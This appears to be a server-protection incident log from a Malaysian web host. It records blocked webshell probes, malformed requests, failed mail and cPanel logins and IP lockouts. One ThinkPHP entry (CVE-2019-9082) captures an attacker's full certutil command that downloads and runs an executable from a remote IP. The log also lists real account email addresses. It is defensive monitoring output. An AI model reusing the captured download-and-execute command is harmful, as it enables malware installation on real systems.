# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.238.37.147
country_id: 99237
domain: langkawiconstructions.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/langkawiconstructions.com/contact-us HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 38.224.194.231
country_id: 3469034
description:
2026-01-14 11:48:45 H=([38.224.194.231]) [38.224.194.231]:3573 F=<dse_NA4@docusign.net> rejected RCPT <ap@ajplantations.com.my>: No Such User Here"


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.146.61
country_id: 6252001
description:
2026-01-14 11:49:50 31908 [Warning] Aborted connection 31908 to db: 'unconnected' user: 'unauthenticated' host: '167.94.146.61' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/home/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.136.3.175
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=824962 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 11:53:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:49822: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 11:53:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:49822: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.10
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/proc/thread-self/root/etc/stats.conf||User:root||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.192.45.67
country_id: 6252001
domain: mail.kainanholding.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.164.32.36
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-00.194.164.32.36||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.97.225.229
country_id: 3469034
domain: ahfengineering.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahfengineering.com/robots.txt HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.40.101.10
country_id: 6252001
description:
2026-01-14 12:08:40 dovecot_plain authenticator failed for H=c-98-40-101-10.hsd1.tn.comcast.net (unpsintion) [98.40.101.10]:59900: 535 Incorrect authentication data (set_id=info@fimco.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.40.101.10
country_id: 6252001
description:
Jan 14 12:08:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.40.101.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.247.212.113
country_id: 2802361
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-09.196.247.212.113||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140919
name: IM360 WAF: ThinkPHP 5.X - Remote Command Execution Vulnerability (CVE-2019-9082)
abuser: 95.31.104.134
country_id: 2017370
domain: 42.0.28.70:80
description:
IM360 WAF: ThinkPHP 5.X - Remote Command Execution Vulnerability (CVE-2019-9082)||MVN:ARGS:vars[]||RSV:7.63||T:APACHE||MV:system||


plugin: modsec
rule: 77211200
name: IM360 WAF: System Command Access
abuser: 95.31.104.134
country_id: 2017370
domain: 42.0.28.70:80
description:
IM360 WAF: System Command Access||MVN:ARGS:vars[1][]||MV:cmd.exe /c certutil -urlcache -split -f http://95.31.104.134:19490/spread.txt c:\\programdata\\spread.exe && c:\\programdata\\spread.exe||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.118.63.88
country_id: 3686110
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=82&page=2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.126.220.201
country_id: 3437598
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/look/16/385/1677770 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.223.177.215
country_id: 1814991
description:
Jan 14 12:15:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.223.177.215 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.223.177.215
country_id: 1814991
description:
2026-01-14 12:15:17 dovecot_login authenticator failed for H=([223.223.177.220]) [223.223.177.215]:46001: 535 Incorrect authentication data (set_id=hapiz@dsc-expat.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.173.240.133
country_id: 1269750
domain: manforce.net
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:66507.manforce.net||ServerName:manforce.net||Method:metaWeblog.newPost||BlogID:1||TitleSHA:58d99f0df32202f3a118254003cf6eeed12e6345||Title:0x655f91c0||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.104.162.17
country_id: 1269750
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-14.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.162.230.58
country_id: 3469034
description:
[2026-01-14 12:19:18 +0800] info [webmaild] 45.162.230.58 - chew@nexuscollection.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 12:21:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50070: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 199.45.154.148
country_id: 6252001
description:
Jan 14 12:20:44 sv3 pure-ftpd[1804482]: (?@199.45.154.148) [INFO] New connection from 199.45.154.148


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 12:21:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50070: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.129.57.71
country_id: 6252001
description:
Jan 14 12:22:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.129.57.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.129.57.71
country_id: 6252001
description:
2026-01-14 12:22:53 dovecot_plain authenticator failed for H=c-73-129-57-71.hsd1.md.comcast.net (phanie) [73.129.57.71]:57114: 535 Incorrect authentication data (set_id=jeffrey.hong@tujusetia.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.214.32.77
country_id: 2623032
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-23.181.214.32.77||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.129.57.71
country_id: 6252001
description:
Jan 14 12:24:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.129.57.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.129.57.71
country_id: 6252001
description:
2026-01-14 12:24:42 dovecot_plain authenticator failed for H=c-73-129-57-71.hsd1.md.comcast.net (macess) [73.129.57.71]:40196: 535 Incorrect authentication data (set_id=cheehian.ooi@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.129.57.71
country_id: 6252001
description:
Jan 14 12:25:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.129.57.71 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.129.57.71
country_id: 6252001
description:
2026-01-14 12:25:22 dovecot_plain authenticator failed for H=c-73-129-57-71.hsd1.md.comcast.net (callitiong) [73.129.57.71]:43798: 535 Incorrect authentication data (set_id=suetyee.chang@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.157.34.183
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=98121515744957 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.255
country_id: 6252001
description:
2026-01-14 12:30:55 34267 [Warning] Aborted connection 34267 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.255' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/img/photos/video.php||SC:/home/indfinitydesign/public_html/img/photos/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/img/photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/images/druma.php||SC:/home/indfinitydesign/public_html/img/photos/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.227.63.227
country_id: 2921044
description:
2026-01-14 12:38:43 dovecot_plain authenticator failed for H=([212.227.63.227]) [212.227.63.227]:55388: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.146.55
country_id: 6252001
description:
2026-01-14 12:38:33 34577 [Warning] Aborted connection 34577 to db: 'unconnected' user: 'unauthenticated' host: '167.94.146.55' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.16.177.83
country_id: 3865483
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/5773924170.jpg&size=1000x1000 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-14 12:42:06 H=([45.144.212.242]) [45.144.212.242]:50439 F=<no_reply@admin.com> rejected RCPT <garylee@autogreastar.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.61.126
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-69.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.66.159.40
country_id: 953987
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/cocoa.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.54.164
country_id: 3865483
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/about-before-line.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.50.129.238
country_id: 3439705
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/about-after-line.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.142.213
country_id: 3658394
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/cocoa-butter2.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.50.65
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/ServerBag.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.249.221.128
country_id: 1562822
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/footer-bg.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.176.106.52
country_id: 3469034
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/logo-klfood.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.222.167.109
country_id: 1522867
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/banner-img-3.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.247.80.129
country_id: 3469034
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/main_icon2.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.107.232.146
country_id: 3658394
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/next.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.62.100
country_id: 1562822
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/banner-icon.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.174.127.236
country_id: 3865483
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/logo1.gif HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.251.19.174
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/about-img.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.55.195.247
country_id: 3469034
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/Cocoa-Raw-Beans-Chocolate.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.206.89
country_id: 294640
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/images/prev.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.112.103.232
country_id: 3865483
domain: krisfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/krisfood.com/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.245.106.61
country_id: 6252001
description:
Jan 14 12:46:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.245.106.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.245.106.61
country_id: 6252001
description:
2026-01-14 12:46:08 dovecot_login authenticator failed for H=(localhost.localdomain) [172.245.106.61]:60269: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 12:49:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50207: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-14 12:49:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50207: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.47.51.176
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/library/Mockery/Generator/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.84.81.142
country_id: 3686110
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/mockery/mockery/library/Mockery/Generator HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.71.176.24
country_id: 1168579
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Helper/DebugFormatterHelper.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.184.155.242
country_id: 1269750
description:
Jan 14 12:54:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.184.155.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.184.155.242
country_id: 1269750
description:
2026-01-14 12:54:30 dovecot_login authenticator failed for H=([103.184.155.242]) [103.184.155.242]:42833: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 14 12:55:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.117.252
country_id: 1733045
description:
[2026-01-14 12:55:43 +0800] info [webmaild] 113.211.117.252 - felicia@nexuscollection.com "POST /cpsess8547639856/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.137.8] != Current IP Address [113.211.117.252]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/commercial/images/home/druma.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.69.74
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/images/c-45.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/navigation.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.134
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/Scripts/AC_ActiveX.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.150
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-thumbs.css?v=1.0.7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.155
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_SemiBold/stylesheet.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.153
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Bold/stylesheet.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.130
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Light/OpenSans-Light.ttf HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-buttons.js?v=1.0.5 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.145
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/helpers/jquery.fancybox-media.js?v=1.0.5 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/ddmenu/menu.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/lib/jquery.mousewheel-3.0.6.pack.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.151
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/OpenSans_Light/stylesheet.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.179.154.76
country_id: 1210997
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/flyingexperiences.htm HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/Scripts/AC_RunActiveContent.js HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/script/fancybox/source/jquery.fancybox.css?v=2.1.2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.oxbold.com/webfonts/VarelaRound_Regular/stylesheet.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.147
country_id: 1880251
domain: www.oxbold.com
description:
